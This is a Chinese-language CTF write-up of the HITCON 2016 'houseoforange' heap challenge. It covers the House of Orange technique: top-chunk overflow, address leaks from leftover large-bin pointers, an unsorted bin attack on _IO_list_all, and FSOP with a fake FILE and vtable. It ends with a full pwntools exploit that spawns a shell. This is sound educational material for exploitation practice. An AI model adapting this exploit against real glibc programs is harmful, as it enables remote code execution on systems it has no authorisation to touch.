题目简介
hitcon2016的houseoforange原题,BUU链接见:BUUCTF:houseoforange_hitcon_2016
这道题是house of orange技术的经典例题,通过这题加深了对top chunk、unsorted bin、large bin、IO_FILE利用等一系列技术的理解,非常值得记录
漏洞点分析
首先题目写了ubuntu 16,确定glibc版本是2.23,接着checksec先看一下,发现保护全开:

然后拖进IDA里分析,可以看出来是一个菜单程序,如下图:(图中都是已经恢复了部分函数和变量名的,具体如何恢复目前我只能说凭经验和输出来猜测,以后学到了好方法再记录)

主要有3个功能,分别是Build、See和Upgrade,分别对应创建堆块、输出堆块和编辑堆块的能力,进入每个函数仔细分析一下
首先看Build函数,即添加堆块的功能:

发现Build功能基本没什么问题,主要就是添加相关结构体和成员,具体的结构体视图如上图所示
另外,可以看出house结构指针存储在偏移0x203068的地方,house数量存储在偏移0x203070的地方
接下来看Upgrade函数,如图:

发现在更新name的时候会重新询问长度,因此这里存在溢出
最后再看一下See函数:

看上去没什么问题,只是把所有字段输出出来,但是结合之前Build函数的逻辑,可以发现我们只能输出最后添加的那个house
接下来的问题是如何利用Upgrade里的溢出点,主要是题目没有给free的接口,因此要想办法能free堆块
注意到ptmalloc分配堆块的规则:所有bins无法满足的时候从top chunk取,如果top chunk也不够,会申请新的内存,然后 旧的top chunk会被丢到unsorted bin
但是实现了free之后呢?如何控制任意地址写
这里需要注意到unsorted bin的分配机制,glibc中,当fast bin、small bin、large bin都不够的时候,会从unsorted bin中取堆块,且取最末尾的堆块
当然,对于双向循环链表,不存在头尾,意会一下是取fd指向main_arena bins[1](偏移固定,一般为main_arena+88)的那个堆块即可(即下图的chunk3)

对应的源码如下:
1 2 3 4 5 6 7 8
| while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; ………… }
unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
|
而如果我们能够修改最后一个堆块(chunk 3)的bk指针,指向我们想要写入的地址-16字节的位置,就能在这一步:
1
| bck->fd = unsorted_chunks (av);
|
中将main_arena+88这个值写入任意地址
但是写到哪里,一个思路是写到_IO_list_all,劫持IO_FILE的链表去打FSOP,但这样的话要泄露libc地址
注意当申请到一个large bin的时候,这个堆块的fd_next和bk_next会残留libc和堆块的信息,如图:

加上题目程序自定义的输入函数并不会没在最后加上0x00,如图:

因此可以利用以上两点来泄露堆地址和libc地址,其中libc地址用于定位_IO_list_all,堆地址用于布置假的FILE和vtable
最后,如何劫持_IO_list_all?我们知道,当unsorted bin attack完成后,_IO_list_all会指向main_arena+88
首先想到我们能直接在main_arena+88的位置伪造一个假的FILE或者在main_arena+88+0xd8的位置伪造一个假的vtable吗?
不,我们尽管可以任意地址写,但写的内容是固定的,即main_arena+88,很难在任意地址伪造一个vtable
所以只能在分配给我们的House里伪造数据结构,而恰好main_arena+88+0x68,这个地方作为_IO_list_all的_chain字段,是0x60大小的small bin的区域
所以,只要我们把unsorted bin的size字段改为0x60,在下一次分配的时候,会把这个堆块放到small bin的对应位置,从而在刷新第二个IO_FILE的时候就劫持到了我们伪造的数据结构上
至此,梳理一下本题的利用思路:
- 分配一个堆块,溢出修改top chunk的size字段,然后立马申请一个超大堆块,触发top chunk进入unsorted bin
- 申请一个large bin,调用See House功能,输出libc和堆地址
- 构造好包含假的FILE和vtable的payload,再次利用溢出在堆上布置好结构体
- 最后一次malloc,首先触发unsorted bin重新分配,被丢到small bin,然后触发error,程序abort,调用IO_flush_all_lockp,刷新假的_IO_list_all
漏洞点利用
按照之前的步骤,首先溢出修改top chunk的size,然后申请大堆块,top chunk被成功丢到unsorted bin里面,如图:


这一段对应的代码为:
1 2 3 4 5 6
| BuildHouse(16)
payload=b'A'*24+p64(0x21)+b'1'*24+p64(0xfa1) UpgradeHouse(64,payload) BuildHouse(0x1000)
|
之后分配一个large bin泄露libc和堆地址,如图:

这一部分对应的代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| BuildHouse(0x400,"12345678") name=SeeHouse("12345678") libcLeak=u64(name.ljust(8,b'\x00')) libcBase=libcLeak-0x3c5188
UpgradeHouse(40,"1234567812345678") name=SeeHouse("1234567812345678") heapLeak=u64(name.ljust(8,b'\x00'))
libc=ELF(libcPath) sysAddr=libcBase+libc.symbols["system"] IO_list_all=libcBase+libc.symbols["_IO_list_all"]
|
最后,布置假的FILE和vtable,并修改unsorted bin的size字段,这些都在一次payload中完成,对应的代码如下:
1 2 3 4 5 6 7
| _chain=heapLeak+0x410+0x10+0x10 vtable=heapLeak+0x508 fakeFILE=p64(0)+p64(1)+p64(0)*7+p64(_chain)+p64(0)*13+p64(vtable)
payload=b'A'*0x400+p64(0)+p64(0x21)+b'1'*16+b"/bin/sh\x00"+p64(0x61)+p64(0)+p64(IO_list_all-0x10)+fakeFILE+p64(0)*2+p64(sysAddr) UpgradeHouse(len(payload),payload)
|
最后能看到在堆上我们伪造的FILE如下图:

同时伪造的vtable如下图:

然后再看一下_IO_list_all,发现已经被修改为main_arena+88,如图:

完整的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from pwn import * context(os="linux",arch="amd64",log_level="debug") targetELF="./pwn" libcPath="/home/k40/Pwn/glibc-tool/glibc-all-in-one/libs/glibc-2.23/libc.so.6" context.terminal=["tmux","splitw","-h"] LOCAL=1 REMOTE=2 DEBUG=3 gs = ''' set debug-file-directory /home/k40/Pwn/glibc-tool/glibc-all-in-one/libs/glibc-2.23/.debug ''' libc=ELF(libcPath) def Lauch(mode=LOCAL): if mode==LOCAL: io=process(targetELF) return io elif mode==REMOTE: io=remote("node5.buuoj.cn",28197) return io elif mode==DEBUG: io=gdb.debug(targetELF,gdbscript=gs) return io ioTube=Lauch(DEBUG)
def BuildHouse(nameSize_,name_="AAA",price_=12,color_=1): ioTube.recvuntil("Your choice : ") ioTube.send("1") ioTube.recvuntil("Length of name :") ioTube.send(str(nameSize_)) ioTube.recvuntil("Name :") ioTube.send(name_) ioTube.recvuntil("Price of Orange:") ioTube.send(str(price_)) ioTube.recvuntil("Color of Orange:") ioTube.send(str(color_))
def SeeHouse(prefix): ioTube.recvuntil("Your choice : ") ioTube.send("2") ioTube.recvuntil("Name of house : "+prefix) name_=ioTube.recvline()[:-1] return name_
def UpgradeHouse(nameSize_,name_,price_=21,color_=4): ioTube.recvuntil("Your choice : ") ioTube.send("3") ioTube.recvuntil("Length of name :") ioTube.send(str(nameSize_)) ioTube.recvuntil("Name:") ioTube.send(name_) ioTube.recvuntil("Price of Orange: ") ioTube.send(str(price_)) ioTube.recvuntil("Color of Orange: ") ioTube.send(str(color_))
def GiveUp(): ioTube.recvuntil("Your choice : ") ioTube.send("4")
BuildHouse(16)
payload=b'A'*24+p64(0x21)+b'1'*24+p64(0xfa1) UpgradeHouse(64,payload) BuildHouse(0x1000)
BuildHouse(0x400,"12345678") name=SeeHouse("12345678") libcLeak=u64(name.ljust(8,b'\x00')) libcBase=libcLeak-0x3c5188
UpgradeHouse(40,"1234567812345678") name=SeeHouse("1234567812345678") heapLeak=u64(name.ljust(8,b'\x00'))
libc=ELF(libcPath) sysAddr=libcBase+libc.symbols["system"] IO_list_all=libcBase+libc.symbols["_IO_list_all"]
_chain=heapLeak+0x410+0x10+0x10 vtable=heapLeak+0x508 fakeFILE=p64(0)+p64(1)+p64(0)*7+p64(_chain)+p64(0)*13+p64(vtable)
payload=b'A'*0x400+p64(0)+p64(0x21)+b'1'*16+b"/bin/sh\x00"+p64(0x61)+p64(0)+p64(IO_list_all-0x10)+fakeFILE+p64(0)*2+p64(sysAddr) UpgradeHouse(len(payload),payload)
ioTube.recvuntil("Your choice : ") ioTube.send("1") ioTube.interactive()
|